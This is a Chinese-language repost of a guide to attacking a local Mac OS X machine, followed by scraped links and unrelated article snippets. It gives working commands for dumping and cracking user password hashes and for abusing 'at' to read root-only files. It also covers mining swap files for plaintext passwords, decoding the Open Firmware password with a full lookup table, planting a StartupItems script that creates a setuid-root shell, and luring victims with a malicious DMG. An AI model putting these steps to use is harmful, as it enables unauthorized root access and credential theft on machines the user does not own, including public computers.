入侵本地Mac OS X的详细过程 转自https://yq.aliyun.com/articles/22459?spm=5176.100239.blogcont24250.10.CfBYE9

时间:2022-09-05 09:32:42

摘要: 本文从提升权限漏洞的一系列巧妙的方法来绕过受保护的Mac OS X。有些已经被处于底层控制,但由于它们存在着更多的认证和修补程序,我们不妨让这些提供出来,以便需要的人学习它们。虽然我不只是要利用脚本,而且之后我将解释可以做哪些事情,让你利用这些技巧能够充分地进行研究。 破解用户密码 在过去...

本文从提升权限漏洞的一系列巧妙的方法来绕过受保护的Mac OS X。有些已经被处于底层控制,但由于它们存在着更多的认证和修补程序,我们不妨让这些提供出来,以便需要的人学习它们。虽然我不只是要利用脚本,而且之后我将解释可以做哪些事情,让你利用这些技巧能够充分地进行研究。

破解用户密码

在过去的日子里你只需执行“nidump passwd”,并获得所有用户密码加密的一个DES清单。还有几种方法可以恢复用户密码,Mac OS X在/etc/shadow或/etc/master密码文件中不存储密码。但是,有一种方法可以恢复所有用户的密码哈希。

Mac OS X使用NetInfo处理用户账户。该密码哈希存储在/var/db/shadow/hash/(guid)。每个用户都有自己的哈希文件,要获得一个用户清单及其相应产生的uid(guid),尝试:

local: user$ nireport / /users name generateduid uid | grep -v NoValue

admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501

orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502

test C82D45B7-6422-11D9-853D-00039367EBAE 503

因此,“admin”用户的密码存储在/var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE.

现在可以作为Root只读这个文件,当然,我们也有一些窍门可以尝试,让你阅读这些文件。但是,首先要说的是你目前已拥有Root权限。

# cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8

00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634F0D412BD764FFE81AAD3B435B5

1404EED033E22AE348AEB5660FC2140AEC35850C4DA997

这个巨长的字符串包含两个相同的密码哈希。第一个64个字符组成的SMB散列(这是Windows使用的文件共享,即使没有打开)这实际上是放在一起的两个32个字符的MD4散列。

最后40个字符组成了SHA1哈希。你一旦恢复这个文件,所有剩下的工作就是正确地格式化这个文件并通过Ripper或Lepton's Crack进行破解。

SMB 哈希:

admin:209C6174DA490CAEB422F3FA5A7AE634:F0D412BD764FFE81AAD3B435B51404EE

orb:6FFB224FB592476B2230862E220937DA:4B881A967FE694FBAAD3B435B51404EE

test:0CB6948805F797BF2A82807973B89537:01FC5A6BE7BC6929AAD B435B51404EE

SHA1 哈希:

admin:D033E22AE348AEB5660FC2140AEC35850C4DA997

orb:23119F5947DA61A815E7A1CC2AF9BDB8C19CAF1F

test:A94A8FE5CCB19BA61C4C0873D391E987982FBBD3

通过Root读取/usr/bin/at

这个允许你作为root身份读取/usr/bin/at并分析存在的漏洞。使用这一招,你可以阅读各种敏感文件,包括用户密码哈希、临时交换文件、.bash_history文件等。

这将允许你读取由“admin”用户所执行的命令列表:

local: user$ id

uid=503(test) gid=503(test) groups=503(test)

local: user$ ls -al /users/admin/.bash_history

-rw------- 1 admin staff 1259 12 Apr 2010 /users/admin/. bash_history

local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:

Permission denied

local: user$ at -f /users/admin/.bash_history now+1minute

czy a011afa33.000 will be executed using /bin/sh

local: user$ cat /var/at/jobs/a011afa33.000

只要你有权使用本地机器,你可以阅读所有文件的哈希值:

at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute

敏感的交换文件

还有另一种方法就是,使用临时交换文件恢复密码。包括FileVault、Keychain、login和其它存储在/var/vm/各种敏感数据交换文件,这些文件很大,它需要一些聪明的Unix命令才能够提取其中有用的东西。然而,很多时候用户名和密码以纯文本方式存储。

尝试一下你自己的机器(核实swapfile1、swap-file2等)。

# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname

每次机器重启之后,这些交换文件将被清除。

当然,这些文件只能由root读取。你可以使用“at”漏洞,将这些交换文件复制到临时位置,然后使用上面的命令来解析这些文件。

欺骗软件更新

Mac OS X有一个方便的工具,可以对安全更新软件和软件补丁进行自动检查更新。如果你有机会获得一台机器,你可以利用这种方式进行欺骗,以为你已经安装了特定的软件更新和补丁。

检查/Library/Receipts/目录,创建一个与其中一个更新包和软件更新相同名字的文件,以替代它。

恢复开放固件密码

许多公共计算机,特别是商业网(网吧),使用特殊的安全软件或跟踪装置以阻止你的一些活动,甚至要求你按小时支付。通常,你可以重启计算机进入开放固件并使用系统的单用户模式,要么仅仅启动到一个外部设备,例如,将Mac OS X复制并安装在你的Mp3或Mp4设备里面。不幸的是,越来越多的计算机都有了开放固件密码的保护措施,这需要你首先验证所做的这些事情。

如果你拥有root权限访问终端,请尝试输入nvram安全密码。这应该显示出一个字符串,即开放固件密码的异十六进制编码。这不是加密的,它只是模糊处理。

nvram security-password

security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de

密歇根大学MacSIG小组编写一个C脚本,能够生成字符串作为使用开放固件的密码:

http://macosx.si.umich.edu/files/ofpwgen.c

使用这个你应该能够通过字符串匹配的nvram security-password从而找到密码。你也可以使用下面内容作为参考:

nvram security-password

a  b  c  d  e  f  g  h  i  j  k  l  m

%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7

n  o  p  q  r  s  t  u  v  w  x  y  z

%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0

A  B  C  D  E  F  G  H  I  J  K  L  M

%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7

N  O  P  Q  R  S  T  U  V  W  X  Y  Z

%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0

1  2  3  4  5  6  7  8  9  0  !  @  #

%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89

$  %  ^  &  *  (  )  +  =  -  _  }  {

%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1

当你用这个密码,你就可以启动到单用户模式或重启到你自己的MP3/MP4上存储的操作系统。

恶意启动项目的利用

如果/Library/StartupItems目录没有被创建,对于某些软件则需要创建它,以便机器重启时能够运行程序。这些脚本由root运行。往往写得不好的软件在安装时将创建到此目录中,并允许任何用户使用该目录中的文件。人们可以编写一个恶意脚本,删除该目录,重启计算机,并能够以root身份执行脚本。

ls -al /Library/StartupItems/

total 0

drwxrwxrwx 3  root admin 102  25 Apr 12:15 .

drwxrwxr-x 39 root admin 1326 26 Apr 09:28 ..

如你所见,该目录的模式是chmod 777 ——这意味着我们可以对它写入文件。在此目录中,写一个相同名称的shell脚本作为目录所包含的文本:

#!/bin/sh

cp /bin/sh /etc/.rewt

chown root /etc/.rewt

chmod 4755 /etc/.rewt

然后,访问的StartupParameters.plist所包含的文本如下:

{

Description = "NameOfScript";

Provides = ("NameOfScript");

OrderPreference = "None";

}

下次重启机器,它会执行你写好的shell脚本。这个特殊的脚本将在/etc/.rewt里面建立一个suid root。

URL处理程序漏洞利用

有一些Mac OS X安全问题与URL处理有关。

通过这些技巧,你能够在受害者机器中执行代码,加载任何Web链接。

其基本思路是引诱用户下载并安装一个DMG文件,然后尝试运行DMG文件中存储的代码。

你可以编写一个HTML文件,通过Javascript或一个meta刷新标记自动重定向到一个特定的URL。

DMG文件内容可以包含一个特制的应用程序调用Fun.app,它可以自动打开一个新的URL处理程序。

其它有趣的还有:x-man-page://、telnet://、ssh://、ical://、addressbook://、itms://、mms://等等。

尾声

本文上述的利用方案并不是所有,包括过去数年的漏洞攻击并没有提及到。如果你需要针对的是远程系统执行入侵任务,那么,你需要更多的思路进行研究,它也存在着更多的灵活性和窍门可以提供我们应用,我们需要积极地发掘它们。

入侵本地Mac OS X的详细过程 转自https://yq.aliyun.com/articles/22459?spm=5176.100239.blogcont24250.10.CfBYE9的更多相关文章

  1. Linux入侵检查思路及其命令 转自https://yq.aliyun.com/articles/24250?spm=5176.100239.blogcont24249.12.rbBrIh

    摘要: 若Linux操作系统被非法入侵,那么有哪些思路和系统命令用于检查系统当前的状态呢?主要包括对关键进程.关键服务.关键文件的检测,同时及时备份硬盘数据用于持续分析.详细的检查思路和Linux命令 ...

  2. Mac配置Hadoop最详细过程

    Mac配置Hadoop最详细过程 原文链接: http://www.cnblogs.com/blog5277/p/8565575.html 原文作者: 博客园-曲高终和寡 https://www.cn ...

  3. [Sqlite] --> Sqlite于Windows、Linux 和 Mac OS X 在安装过程

    一个:于 Windows 安装 SQLite  1,下载 请訪问SQLite下载页面http://www.sqlite.org/download.html.从Windows 区下载预编译的二进制文件. ...

  4. 从cpu加电到加载OS内核的详细过程(清华大学ucore-lab1总结一)

    结合最近学习清华的OS课,先用“人话”来高度抽象的描述一下我自己的理解.CPU在系统加电也就是我们按下电源开关后,开始初始化他的寄存器,主要是cs和eip(本文基于x86架构),然后在ROM中找到一个 ...

  5. 入侵拿下DVBBS php官网详细过程(图)

    几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱智的漏洞,DVBBS php2.0这套代码我还没仔细看过,于是5 ...

  6. Mac配置Scala和Spark最详细过程

    Mac配置Scala和Spark最详细过程 原文链接: http://www.cnblogs.com/blog5277/p/8567337.html 原文作者: 博客园--曲高终和寡 一,准备工作 1 ...

  7. mac os x在PC上安装

    系统安装之前的准备工作及安装过程简介 前面我们已经提到,苹果电脑虽然已经采用了x86架构的Intel处理器,但其官方并不提供在非苹果电脑上安装Mac OS的支持.所以,要想在普通PC/笔记本电脑上安装 ...

  8. 从安装Mac OS X虚拟机到第一个IOS程序

    对于纯粹地抄这种行为是比较抵触的,别人已经写得挺好的东西没必要又去写一遍,但如果不写经验来看下次再做时自己又要重复百度筛选一遍,所以还是要记一记. 之前要获取IOS静态库的版本,但一直以来没有Mac没 ...

  9. 回顾苹果操作系统Mac OS的发展历史

    在新的MacBook AIR和Mac OS X Lion即将发布之际,我们仅以此文向伟大的苹果和乔布斯致敬.并祝Apple教主乔布斯早日康复,长命百岁,千秋万载,一统苹果! Mac OS是指运行于苹果 ...

随机推荐

  1. SQL性能优化:如何定位网络性能问题

    一同事跟我反馈他遇到了一个SQL性能问题,他说全表只有69条记录,客户端执行耗费了两分多钟,这不科学呀.要我分析一下原因并解决.我按照类似表结构,构造了一个案例,测试截图如下所示 这个表有13800K ...

  2. 数据库模型设计——历史与版本设计

    在企业数据库设计中,经常会遇到一个需求,就是希望把操作之前的数据保留下来,能够看到操作之前是什么数据,操作之后是什么数据.对于这种需求,我们可以使用保留历史数据或者使用版本来实现. 为了能够保留历史数 ...

  3. Python:no encoding declared 错误

    使用Python编译的时候出现如下错误: SyntaxError: Non-ASCII character ‘\xe5’ in file magentonotes.com.py on line 2, ...

  4. HDU 4793 Collision (解二元一次方程) -2013 ICPC长沙赛区现场赛

    题目链接 题目大意 :有一个圆硬币半径为r,初始位置为x,y,速度矢量为vx,vy,有一个圆形区域(圆心在原点)半径为R,还有一个圆盘(圆心在原点)半径为Rm (Rm < R),圆盘固定不动,硬 ...

  5. Codeforces Round &num;216 &lpar;Div&period; 2&rpar; B&period; Valera and Contest

    #include <iostream> #include <algorithm> #include <vector> using namespace std; in ...

  6. zoj1107 FatMouse and Cheese

    这是一道记忆化搜索,也就是有记录的搜索. 注意点:一次走k步不能拐弯 int bfs(int x,int y) { ; ) return ans[x][y]; ;i<;i++) { ;j< ...

  7. c&num; socket传输struct类型

    data结构体类型 public struct datas    { public string test1; public string test2;    } //socket服务器端 publi ...

  8. R语言︱list用法、批量读取、写出数据时的用法

    列表是一种特别的对象集合,它的元素也由序号(下标)区分,但是各元素的类型可 以是任意对象,不同元素不必是同一类型.元素本身允许是其它复杂数据类型,比如,列表 的一个元素也允许是列表.例如: > ...

  9. React(三)JSX内置表达式

    (一)JSX是什么? React 使用 JSX 来替代常规的 JavaScript. JSX 是一个看起来很像 XML 的 JavaScript 语法扩展. 我们不需要一定使用 JSX,但它有以下优点 ...

  10. Java构建指定大小文件

    Java快速创建指定大小的文件,最多的解决办法就是循环向文件里面入固定大小的空字节,但是这种方式构建大文件性能比较低下,因此有这样两种方式可供参考: Java有一个类:FileChannel,查阅AP ...